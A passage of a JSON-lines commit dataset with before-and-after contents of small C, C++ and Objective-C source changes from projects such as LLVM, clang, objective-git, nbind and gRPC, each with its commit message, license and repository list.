UnifyMethodExitNodes : public MethodPass {\n  BasicBlock *ExitNode;\npublic:\n  static AnalysisID ID;            \/\/ Pass ID\n  UnifyMethodExitNodes(AnalysisID id = ID) : ExitNode(0) { assert(ID == id); }\n\n  \/\/ UnifyAllExitNodes - Unify all exit nodes of the CFG by creating a new\n  \/\/ BasicBlock, and converting all returns to unconditional branches to this\n  \/\/ new basic block.  The singular exit node is returned in ExitNode.\n  \/\/\n  \/\/ If there are no return stmts in the Method, a null pointer is returned.\n  \/\/\n  static bool doit(Method *M, BasicBlock *&ExitNode);\n\n\n  virtual bool runOnMethod(Method *M) {\n    return doit(M, ExitNode);\n  }\n\n  BasicBlock *getExitNode() const { return ExitNode; }\n\n  virtual void getAnalysisUsageInfo(Pass::AnalysisSet &Required,\n                                    Pass::AnalysisSet &Destroyed,\n                                    Pass::AnalysisSet &Provided) {\n    \/\/ FIXME: Should invalidate CFG\n    Provided.push_back(ID);  \/\/ Provide self!\n  }\n};\n\n#endif\n","subject":"Add constructor for addition to opt program","message":"Add constructor for addition to opt program\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@1626 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm"}
{"commit":"5564e6c45401c37adb9444b6bf0ef8ce70b1fce8","old_file":"test\/Misc\/dev-fd-fs.c","new_file":"test\/Misc\/dev-fd-fs.c","old_contents":"\/\/ Check that we can operate on files from \/dev\/fd.\n\/\/ REQUIRES: dev-fd-fs\n\n\n\/\/ Check reading from named pipes. We cat the input here instead of redirecting\n\/\/ it to ensure that \/dev\/fd\/0 is a named pipe, not just a redirected file.\n\/\/\n\/\/ RUN: cat %s | %clang -x c \/dev\/fd\/0 -E > %t\n\/\/ RUN: FileCheck --check-prefix DEV-FD-INPUT < %t %s\n\n\/\/ DEV-FD-INPUT: int x;\nint x;\n","new_contents":"\/\/ Check that we can operate on files from \/dev\/fd.\n\/\/ REQUIRES: dev-fd-fs\n\n\n\/\/ Check reading from named pipes. We cat the input here instead of redirecting\n\/\/ it to ensure that \/dev\/fd\/0 is a named pipe, not just a redirected file.\n\/\/\n\/\/ RUN: cat %s | %clang -x c \/dev\/fd\/0 -E > %t\n\/\/ RUN: FileCheck --check-prefix DEV-FD-INPUT < %t %s\n\/\/\n\/\/ DEV-FD-INPUT: int x;\n\n\n\/\/ Check writing to \/dev\/fd named pipes. We use cat here as before to ensure we\n\/\/ get a named pipe.\n\/\/\n\/\/ RUN: %clang -x c %s -E -o \/dev\/fd\/1 | cat > %t\n\/\/ RUN: FileCheck --check-prefix DEV-FD-FIFO-OUTPUT < %t %s\n\/\/\n\/\/ DEV-FD-FIFO-OUTPUT: int x;\n\n\n\/\/ Check writing to \/dev\/fd regular files.\n\/\/\n\/\/ RUN: %clang -x c %s -E -o \/dev\/fd\/1 > %t\n\/\/ RUN: FileCheck --check-prefix DEV-FD-REG-OUTPUT < %t %s\n\/\/\n\/\/ DEV-FD-REG-OUTPUT: int x;\n\nint x;\n","subject":"Check that we can output to \/dev\/fd filesystem.","message":"tests: Check that we can output to \/dev\/fd filesystem.\n\n - An LLVM unique_file() bug could cause us to infinite loop on the later test\n   case.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@168082 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"478712e78ca63c1816adfdfc25ff323ab30df49d","old_file":"src\/quick_sort.h","new_file":"src\/quick_sort.h","old_contents":"\/\/ -*- mode: c++ -*-\n\/\/ Copyright (c) 2014 Olaf Dietsche\n\n#ifndef __quick_sort_h_included__\n#define __quick_sort_h_included__\n\n#include <functional>\n#include <iterator>\n#include <utility>\n\ntemplate<typename I, typename T, typename C> I quicksort_partition(I first, I last, C cmp)\n{\n\t--last;\n\tT pivot = *last;\n\twhile (first < last) {\n\t\twhile (first != last && cmp(*first, pivot))\n\t\t\t++first;\n\n\t\twhile (first != last && cmp(pivot, *last))\n\t\t\t--last;\n\n\t\tif (first != last)\n\t\t\tstd::swap(*first, *last);\n\t}\n\n\treturn first;\n}\n\ntemplate<typename I, typename T = typename std::iterator_traits<I>::value_type, typename C = std::less<T>> void quick_sort(I first, I last, C cmp = C())\n{\n\tif (last - first > 1) {\n\t\tI i = quicksort_partition<I, T, C>(first, last, cmp);\n\t\tquick_sort(first, i, cmp);\n\t\tquick_sort(i, last, cmp);\n\t}\n}\n\n#endif\n","new_contents":"\/\/ -*- mode: c++ -*-\n\/\/ Copyright (c) 2014 Olaf Dietsche\n\n#ifndef __quick_sort_h_included__\n#define __quick_sort_h_included__\n\n#include <functional>\n#include <iterator>\n#include <utility>\n\ntemplate<typename I, typename T, typename C> I quicksort_partition(I first, I last, C cmp)\n{\n\t--last;\n\tT pivot = *last;\n\twhile (first < last) {\n\t\twhile (first != last && cmp(*first, pivot))\n\t\t\t++first;\n\n\t\twhile (first != last && cmp(pivot, *last))\n\t\t\t--last;\n\n\t\tif (first != last)\n\t\t\tstd::swap(*first, *last);\n\t}\n\n\treturn first;\n}\n\ntemplate<typename I, typename T = typename std::iterator_traits<I>::value_type, typename C = std::less<T>> void quick_sort(I first, I last, C cmp = C())\n{\n\tif (last - first > 1) {\n\t\tI i = quicksort_partition<I, T, C>(first, last, cmp);\n\t\tquick_sort(first, i, cmp);\n\t\tquick_sort(i + 1, last, cmp);\n\t}\n}\n\n#endif\n","subject":"Fix sort of second half","message":"Fix sort of second half\n","lang":"C","license":"mit","repos":"olafdietsche\/algorithms"}
{"commit":"1f8ab6a78828996947893bef790d5fb7d24d8197","old_file":"src\/bin\/test_panel.c","new_file":"src\/bin\/test_panel.c","old_contents":"#include <Elementary.h>\n#ifndef ELM_LIB_QUICKLAUNCH\n\nvoid \ntest_panel(void *data, Evas_Object *obj, void *event_info) \n{\n   Evas_Object *win, *bg, *panel;\n\n   win = elm_win_add(NULL, \"panel\", ELM_WIN_BASIC);\n   elm_win_title_set(win, \"Panel\");\n   elm_win_autodel_set(win, 1);\n\n   bg = elm_bg_add(win);\n   elm_win_resize_object_add(win, bg);\n   evas_object_size_hint_weight_set(bg, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_show(bg);\n\n   panel = elm_panel_add(win);\n   elm_panel_orient_set(panel, ELM_PANEL_ORIENT_LEFT);\n   evas_object_size_hint_weight_set(panel, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_size_hint_align_set(panel, EVAS_HINT_FILL, EVAS_HINT_FILL);\n   evas_object_show(panel);\n\n   evas_object_resize(win, 300, 300);\n   evas_object_show(win);\n}\n\n#endif\n","new_contents":"#include <Elementary.h>\n#ifndef ELM_LIB_QUICKLAUNCH\n\nvoid \ntest_panel(void *data, Evas_Object *obj, void *event_info) \n{\n   Evas_Object *win, *bg, *panel;\n   Evas_Object *list;\n\n   win = elm_win_add(NULL, \"panel\", ELM_WIN_BASIC);\n   elm_win_title_set(win, \"Panel\");\n   elm_win_autodel_set(win, 1);\n\n   bg = elm_bg_add(win);\n   elm_win_resize_object_add(win, bg);\n   evas_object_size_hint_weight_set(bg, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_show(bg);\n\n   panel = elm_panel_add(win);\n   elm_panel_orient_set(panel, ELM_PANEL_ORIENT_LEFT);\n   evas_object_size_hint_weight_set(panel, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_size_hint_align_set(panel, EVAS_HINT_FILL, EVAS_HINT_FILL);\n   evas_object_show(panel);\n\n   list = elm_genlist_add(win);\n   evas_object_resize(list, 100, 100);\n   evas_object_size_hint_weight_set(list, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND);\n   evas_object_size_hint_align_set(list, EVAS_HINT_FILL, EVAS_HINT_FILL);\n   evas_object_show(list);\n   elm_panel_content_set(panel, list);\n\n   evas_object_resize(win, 300, 300);\n   evas_object_show(win);\n}\n\n#endif\n","subject":"Add a genlist to the panel test.","message":"Add a genlist to the panel test.\n\n\n\nSVN revision: 43175\n","lang":"C","license":"lgpl-2.1","repos":"FlorentRevest\/Elementary,rvandegrift\/elementary,tasn\/elementary,tasn\/elementary,FlorentRevest\/Elementary,tasn\/elementary,rvandegrift\/elementary,rvandegrift\/elementary,rvandegrift\/elementary,tasn\/elementary,tasn\/elementary,FlorentRevest\/Elementary,FlorentRevest\/Elementary"}
{"commit":"abbeadabe96f0d17430bff01e9d01643fa54ca82","old_file":"Classes\/GTDiff.h","new_file":"Classes\/GTDiff.h","old_contents":"\/\/\n\/\/  GTDiff.h\n\/\/  ObjectiveGitFramework\n\/\/\n\/\/  Created by Danny Greg on 29\/11\/2012.\n\/\/  Copyright (c) 2012 GitHub, Inc. All rights reserved.\n\/\/\n\n#import \"git2.h\"\n\n@class GTTree;\n\n@interface GTDiff : NSObject\n\n@property (nonatomic, readonly, assign) git_diff_list *git_diff_list;\n\n+ (GTDiff *)diffOldTree:(GTTree *)oldTree withNewTree:(GTTree *)newTree options:(NSUInteger)options;\n+ (GTDiff *)diffIndexToOldTree:(GTTree *)oldTree withOptions:(NSUInteger)options;\n+ (GTDiff *)diffWorkingDirectoryToIndexWithOptions:(NSUInteger)options;\n+ (GTDiff *)diffWorkingDirectoryToTree:(GTTree *)tree withOptions:(NSUInteger)options;\n\n@end\n","new_contents":"\/\/\n\/\/  GTDiff.h\n\/\/  ObjectiveGitFramework\n\/\/\n\/\/  Created by Danny Greg on 29\/11\/2012.\n\/\/  Copyright (c) 2012 GitHub, Inc. All rights reserved.\n\/\/\n\n#import \"git2.h\"\n\n@class GTTree;\n\ntypedef enum : git_delta_t {\n\tGTDiffFileDeltaUnmodified = GIT_DELTA_UNMODIFIED,\n\tGTDiffFileDeltaAdded = GIT_DELTA_ADDED,\n\tGTDiffFileDeltaDeleted = GIT_DELTA_DELETED,\n\tGTDiffFileDeltaModified = GIT_DELTA_MODIFIED,\n\tGTDiffFileDeltaRenamed = GIT_DELTA_RENAMED,\n\tGTDiffFileDeltaCopied = GIT_DELTA_COPIED,\n\tGTDiffFileDeltaIgnored = GIT_DELTA_IGNORED,\n\tGTDiffFileDeltaUntracked = GIT_DELTA_UNTRACKED,\n\tGTDiffFileDeltaTypeChange = GIT_DELTA_TYPECHANGE,\n} GTDiffFileDelta;\n@interface GTDiff : NSObject\n\n@property (nonatomic, readonly, assign) git_diff_list *git_diff_list;\n\n+ (GTDiff *)diffOldTree:(GTTree *)oldTree withNewTree:(GTTree *)newTree options:(NSUInteger)options;\n+ (GTDiff *)diffIndexToOldTree:(GTTree *)oldTree withOptions:(NSUInteger)options;\n+ (GTDiff *)diffWorkingDirectoryToIndexWithOptions:(NSUInteger)options;\n+ (GTDiff *)diffWorkingDirectoryToTree:(GTTree *)tree withOptions:(NSUInteger)options;\n\n@end\n","subject":"Declare an enum for git_delta_t","message":"Declare an enum for git_delta_t\n","lang":"C","license":"mit","repos":"phatblat\/objective-git,c9s\/objective-git,Acidburn0zzz\/objective-git,dleehr\/objective-git,tiennou\/objective-git,libgit2\/objective-git,misterfifths\/objective-git,alehed\/objective-git,blackpixel\/objective-git,misterfifths\/objective-git,c9s\/objective-git,0x4a616e\/objective-git,alehed\/objective-git,TOMalley104\/objective-git,blackpixel\/objective-git,tiennou\/objective-git,Acidburn0zzz\/objective-git,Acidburn0zzz\/objective-git,TOMalley104\/objective-git,slavikus\/objective-git,pietbrauer\/objective-git,libgit2\/objective-git,c9s\/objective-git,phatblat\/objective-git,tiennou\/objective-git,javiertoledo\/objective-git,royalwang\/objective-git,0x4a616e\/objective-git,Acidburn0zzz\/objective-git,alehed\/objective-git,slavikus\/objective-git,nerdishbynature\/objective-git,misterfifths\/objective-git,pietbrauer\/objective-git,blackpixel\/objective-git,dleehr\/objective-git,nerdishbynature\/objective-git,dleehr\/objective-git,TOMalley104\/objective-git,pietbrauer\/objective-git,javiertoledo\/objective-git,dleehr\/objective-git,misterfifths\/objective-git,javiertoledo\/objective-git,TOMalley104\/objective-git,javiertoledo\/objective-git,libgit2\/objective-git,blackpixel\/objective-git,phatblat\/objective-git,c9s\/objective-git,libgit2\/objective-git,pietbrauer\/objective-git,slavikus\/objective-git,nerdishbynature\/objective-git,0x4a616e\/objective-git"}
{"commit":"162924dad528b4b475150405038f507876e1634d","old_file":"composite.c","new_file":"composite.c","old_contents":"#include \"composite.h\"\n\nImage * compositeImage(Image *canvas, void *data, ExceptionInfo *ex)\n{\n    CompositeData *d = data;\n    if (!CompositeImage(canvas, d->composite, d->draw, d->x, d->y)) {\n    }\n    return canvas;\n}\n","new_contents":"#include \"composite.h\"\n\nImage * compositeImage(Image *canvas, void *data, ExceptionInfo *ex)\n{\n    CompositeData *d = data;\n    if (!CompositeImage(canvas, d->composite, d->draw, d->x, d->y)) {\n        ex->severity = DrawError;\n        return NULL;\n    }\n    return canvas;\n}\n","subject":"Return an error if CompositeImage fails","message":"Return an error if CompositeImage fails\n","lang":"C","license":"mit","repos":"etix\/magick,rainycape\/magick,zuriu\/magick,zuriu\/magick,500px\/magick,500px\/magick,rainycape\/magick,zuriu\/magick,500px\/magick,etix\/magick,etix\/magick,rainycape\/magick"}
{"commit":"57113e9209a110d6ee9743b01f396f14016b13f6","old_file":"include\/nbind\/nbind.h","new_file":"include\/nbind\/nbind.h","old_contents":"\/\/ This file is part of nbind, copyright (C) 2014-2016 BusFaster Ltd.\n\/\/ Released under the MIT license, see LICENSE.\n\n#pragma once\n\n#define NBIND_MULTIMETHOD(name, args, ...) definer.overloaded args ().method(name, ## __VA_ARGS__)\n\n#include \"noconflict.h\"\n\n#define function NBIND_FUNCTION\n#define multifunction NBIND_MULTIFUNCTION\n#define method(...) NBIND_METHOD(__VA_ARGS__)\n#define inherit(...) NBIND_INHERIT(__VA_ARGS__)\n#define args NBIND_ARGS\n#define multimethod NBIND_MULTIMETHOD\n#define construct NBIND_CONSTRUCT\n#define field(...) NBIND_FIELD(__VA_ARGS__)\n#define getter NBIND_GETTER\n#define getset NBIND_GETSET\n","new_contents":"\/\/ This file is part of nbind, copyright (C) 2014-2016 BusFaster Ltd.\n\/\/ Released under the MIT license, see LICENSE.\n\n#pragma once\n\n#define NBIND_MULTIMETHOD(name, args, ...) definer.overloaded args ().method(name, ## __VA_ARGS__)\n\n#include \"noconflict.h\"\n\n#define function NBIND_FUNCTION\n#define multifunction NBIND_MULTIFUNCTION\n#define method(...) NBIND_EXPAND(NBIND_METHOD(__VA_ARGS__))\n#define inherit(...) NBIND_INHERIT(__VA_ARGS__)\n#define args NBIND_ARGS\n#define multimethod NBIND_MULTIMETHOD\n#define construct NBIND_CONSTRUCT\n#define field(...) NBIND_FIELD(__VA_ARGS__)\n#define getter NBIND_GETTER\n#define getset NBIND_GETSET\n","subject":"Fix build issue on Windows.","message":"Fix build issue on Windows.\n","lang":"C","license":"mit","repos":"charto\/nbind,charto\/nbind,charto\/nbind,charto\/nbind,charto\/nbind,charto\/nbind"}
{"commit":"b10f05e91dc5bd22105a4159e0ecf4f41f2d27f2","old_file":"vsprojects\/dummy.c","new_file":"vsprojects\/dummy.c","old_contents":"\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n ","new_contents":"\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n","subject":"Fix newline at end of file","message":"Fix newline at end of file\n","lang":"C","license":"apache-2.0","repos":"malexzx\/grpc,jtattermusch\/grpc,kpayson64\/grpc,grani\/grpc,goldenbull\/grpc,nicolasnoble\/grpc,msiedlarek\/grpc,ppietrasa\/grpc,ipylypiv\/grpc,goldenbull\/grpc,donnadionne\/grpc,Crevil\/grpc,ppietrasa\/grpc,ctiller\/grpc,nicolasnoble\/grpc,makdharma\/grpc,greasypizza\/grpc,ctiller\/grpc,philcleveland\/grpc,soltanmm\/grpc,podsvirov\/grpc,carl-mastrangelo\/grpc,thunderboltsid\/grpc,jboeuf\/grpc,yang-g\/grpc,ejona86\/grpc,ncteisen\/grpc,jboeuf\/grpc,Vizerai\/grpc,simonkuang\/grpc,mehrdada\/grpc,matt-kwong\/grpc,a-veitch\/grpc,makdharma\/grpc,arkmaxim\/grpc,wcevans\/grpc,geffzhang\/grpc,arkmaxim\/grpc,VcamX\/grpc,podsvirov\/grpc,thinkerou\/grpc,LuminateWireless\/grpc,arkmaxim\/grpc,simonkuang\/grpc,jcanizales\/grpc,7anner\/grpc,muxi\/grpc,sreecha\/grpc,dklempner\/grpc,ananthonline\/grpc,kumaralokgithub\/grpc,zhimingxie\/grpc,VcamX\/grpc,Vizerai\/grpc,yugui\/grpc,leifurhauks\/grpc,dklempner\/grpc,fuchsia-mirror\/third_party-grpc,fuchsia-mirror\/third_party-grpc,MakMukhi\/grpc,vjpai\/grpc,grpc\/grpc,stanley-cheung\/grpc,soltanmm-google\/grpc,mehrdada\/grpc,malexzx\/grpc,grpc\/grpc,matt-kwong\/grpc,matt-kwong\/grpc,hstefan\/grpc,chrisdunelm\/grpc,goldenbull\/grpc,stanley-cheung\/grpc,vjpai\/grpc,msmania\/grpc,sreecha\/grpc,murgatroid99\/grpc,baylabs\/grpc,murgatroid99\/grpc,pmarks-net\/grpc,LuminateWireless\/grpc,apolcyn\/grpc,bogdandrutu\/grpc,greasypizza\/grpc,grani\/grpc,vsco\/grpc,yang-g\/grpc,yugui\/grpc,PeterFaiman\/ruby-grpc-minimal,kskalski\/grpc,leifurhauks\/grpc,infinit\/grpc,LuminateWireless\/grpc,leifurhauks\/grpc,tamihiro\/grpc,murgatroid99\/grpc,quizlet\/grpc,carl-mastrangelo\/grpc,murgatroid99\/grpc,fuchsia-mirror\/third_party-grpc,yongni\/grpc,PeterFaiman\/ruby-grpc-minimal,zhimingxie\/grpc,yang-g\/grpc,firebase\/grpc,soltanmm\/grpc,kriswuollett\/grpc,kpayson64\/grpc,carl-mastrangelo\/grpc,deepaklukose\/grpc,nicolasnoble\/grpc,matt-kwong\/grpc,VcamX\/grpc,donnadionne\/grpc,ppietrasa\/grpc,kumaralokgithub\/grpc,malexzx\/grpc,daniel-j-born\/grpc,royalharsh\/grpc,philcleveland\/grpc,mehrdada\/grpc,grani\/grpc,rjshade\/grpc,wcevans\/grpc,kumaralokgithub\/grpc,yongni\/grpc,donnadionne\/grpc,jtattermusch\/grpc,miselin\/grpc,VcamX\/grpc,soltanmm\/grpc,donnadionne\/grpc,soltanmm-google\/grpc,ncteisen\/grpc,firebase\/grpc,leifurhauks\/grpc,vjpai\/grpc,y-zeng\/grpc,soltanmm-google\/grpc,PeterFaiman\/ruby-grpc-minimal,stanley-cheung\/grpc,a11r\/grpc,miselin\/grpc,apolcyn\/grpc,msmania\/grpc,a-veitch\/grpc,miselin\/grpc,yongni\/grpc,ncteisen\/grpc,mehrdada\/grpc,nicolasnoble\/grpc,kpayson64\/grpc,donnadionne\/grpc,bogdandrutu\/grpc,thunderboltsid\/grpc,jboeuf\/grpc,bogdandrutu\/grpc,kskalski\/grpc,miselin\/grpc,arkmaxim\/grpc,ananthonline\/grpc,soltanmm-google\/grpc,ejona86\/grpc,fuchsia-mirror\/third_party-grpc,stanley-cheung\/grpc,kriswuollett\/grpc,kpayson64\/grpc,podsvirov\/grpc,rjshade\/grpc,simonkuang\/grpc,soltanmm\/grpc,yugui\/grpc,dgquintas\/grpc,ncteisen\/grpc,deepaklukose\/grpc,murgatroid99\/grpc,sreecha\/grpc,thunderboltsid\/grpc,a11r\/grpc,kskalski\/grpc,MakMukhi\/grpc,dgquintas\/grpc,ipylypiv\/grpc,kriswuollett\/grpc,baylabs\/grpc,donnadionne\/grpc,grpc\/grpc,hstefan\/grpc,a11r\/grpc,tamihiro\/grpc,MakMukhi\/grpc,ejona86\/grpc,jboeuf\/grpc,msiedlarek\/grpc,kpayson64\/grpc,ejona86\/grpc,stanley-cheung\/grpc,mehrdada\/grpc,geffzhang\/grpc,Vizerai\/grpc,Vizerai\/grpc,bogdandrutu\/grpc,MakMukhi\/grpc,ctiller\/grpc,fuchsia-mirror\/third_party-grpc,muxi\/grpc,jboeuf\/grpc,jtattermusch\/grpc,Crevil\/grpc,kpayson64\/grpc,dgquintas\/grpc,jcanizales\/grpc,pmarks-net\/grpc,rjshade\/grpc,ipylypiv\/grpc,podsvirov\/grpc,PeterFaiman\/ruby-grpc-minimal,jcanizales\/grpc,yang-g\/grpc,greasypizza\/grpc,jtattermusch\/grpc,ananthonline\/grpc,ncteisen\/grpc,perumaalgoog\/grpc,tamihiro\/grpc,andrewpollock\/grpc,rjshade\/grpc,jcanizales\/grpc,miselin\/grpc,malexzx\/grpc,ncteisen\/grpc,jtattermusch\/grpc,zhimingxie\/grpc,ananthonline\/grpc,geffzhang\/grpc,chrisdunelm\/grpc,ejona86\/grpc,yugui\/grpc,makdharma\/grpc,vsco\/grpc,muxi\/grpc,grpc\/grpc,grpc\/grpc,hstefan\/grpc,ncteisen\/grpc,jboeuf\/grpc,apolcyn\/grpc,a11r\/grpc,Crevil\/grpc,Crevil\/grpc,ipylypiv\/grpc,apolcyn\/grpc,jcanizales\/grpc,andrewpollock\/grpc,jcanizales\/grpc,dklempner\/grpc,tengyifei\/grpc,yongni\/grpc,bogdandrutu\/grpc,carl-mastrangelo\/grpc,perumaalgoog\/grpc,carl-mastrangelo\/grpc,soltanmm\/grpc,greasypizza\/grpc,tamihiro\/grpc,yang-g\/grpc,dklempner\/grpc,greasypizza\/grpc,Vizerai\/grpc,matt-kwong\/grpc,yongni\/grpc,adelez\/grpc,ppietrasa\/grpc,msiedlarek\/grpc,msmania\/grpc,wcevans\/grpc,philcleveland\/grpc,arkmaxim\/grpc,deepaklukose\/grpc,perumaalgoog\/grpc,thinkerou\/grpc,wcevans\/grpc,vsco\/grpc,grani\/grpc,kskalski\/grpc,stanley-cheung\/grpc,deepaklukose\/grpc,makdharma\/grpc,infinit\/grpc,quizlet\/grpc,zhimingxie\/grpc,royalharsh\/grpc,quizlet\/grpc,jtattermusch\/grpc,muxi\/grpc,simonkuang\/grpc,chrisdunelm\/grpc,andrewpollock\/grpc,pmarks-net\/grpc,thunderboltsid\/grpc,podsvirov\/grpc,chrisdunelm\/grpc,baylabs\/grpc,hstefan\/grpc,yang-g\/grpc,infinit\/grpc,royalharsh\/grpc,dgquintas\/grpc,PeterFaiman\/ruby-grpc-minimal,andrewpollock\/grpc,yang-g\/grpc,nicolasnoble\/grpc,murgatroid99\/grpc,yang-g\/grpc,y-zeng\/grpc,y-zeng\/grpc,msiedlarek\/grpc,apolcyn\/grpc,nicolasnoble\/grpc,sreecha\/grpc,chrisdunelm\/grpc,jtattermusch\/grpc,firebase\/grpc,goldenbull\/grpc,msmania\/grpc,Vizerai\/grpc,a11r\/grpc,baylabs\/grpc,a-veitch\/grpc,dklempner\/grpc,vjpai\/grpc,tamihiro\/grpc,jboeuf\/grpc,tamihiro\/grpc,mehrdada\/grpc,pmarks-net\/grpc,daniel-j-born\/grpc,kumaralokgithub\/grpc,grpc\/grpc,donnadionne\/grpc,jboeuf\/grpc,rjshade\/grpc,infinit\/grpc,carl-mastrangelo\/grpc,yongni\/grpc,7anner\/grpc,vsco\/grpc,perumaalgoog\/grpc,mehrdada\/grpc,thunderboltsid\/grpc,muxi\/grpc,vsco\/grpc,tengyifei\/grpc,daniel-j-born\/grpc,infinit\/grpc,a-veitch\/grpc,murgatroid99\/grpc,Vizerai\/grpc,sreecha\/grpc,baylabs\/grpc,stanley-cheung\/grpc,makdharma\/grpc,ctiller\/grpc,ppietrasa\/grpc,stanley-cheung\/grpc,tengyifei\/grpc,ejona86\/grpc,daniel-j-born\/grpc,deepaklukose\/grpc,philcleveland\/grpc,fuchsia-mirror\/third_party-grpc,PeterFaiman\/ruby-grpc-minimal,adelez\/grpc,firebase\/grpc,grani\/grpc,y-zeng\/grpc,kriswuollett\/grpc,quizlet\/grpc,daniel-j-born\/grpc,Vizerai\/grpc,thinkerou\/grpc,thunderboltsid\/grpc,ipylypiv\/grpc,kriswuollett\/grpc,thinkerou\/grpc,tengyifei\/grpc,firebase\/grpc,thunderboltsid\/grpc,zhimingxie\/grpc,malexzx\/grpc,simonkuang\/grpc,jcanizales\/grpc,jtattermusch\/grpc,rjshade\/grpc,muxi\/grpc,mehrdada\/grpc,quizlet\/grpc,ejona86\/grpc,wcevans\/grpc,PeterFaiman\/ruby-grpc-minimal,royalharsh\/grpc,apolcyn\/grpc,VcamX\/grpc,simonkuang\/grpc,msmania\/grpc,kriswuollett\/grpc,rjshade\/grpc,hstefan\/grpc,baylabs\/grpc,a-veitch\/grpc,MakMukhi\/grpc,soltanmm-google\/grpc,pszemus\/grpc,yugui\/grpc,dklempner\/grpc,soltanmm\/grpc,simonkuang\/grpc,kriswuollett\/grpc,andrewpollock\/grpc,ananthonline\/grpc,Crevil\/grpc,LuminateWireless\/grpc,vjpai\/grpc,ncteisen\/grpc,pmarks-net\/grpc,andrewpollock\/grpc,ctiller\/grpc,fuchsia-mirror\/third_party-grpc,makdharma\/grpc,greasypizza\/grpc,greasypizza\/grpc,zhimingxie\/grpc,geffzhang\/grpc,murgatroid99\/grpc,kpayson64\/grpc,vjpai\/grpc,wcevans\/grpc,yugui\/grpc,7an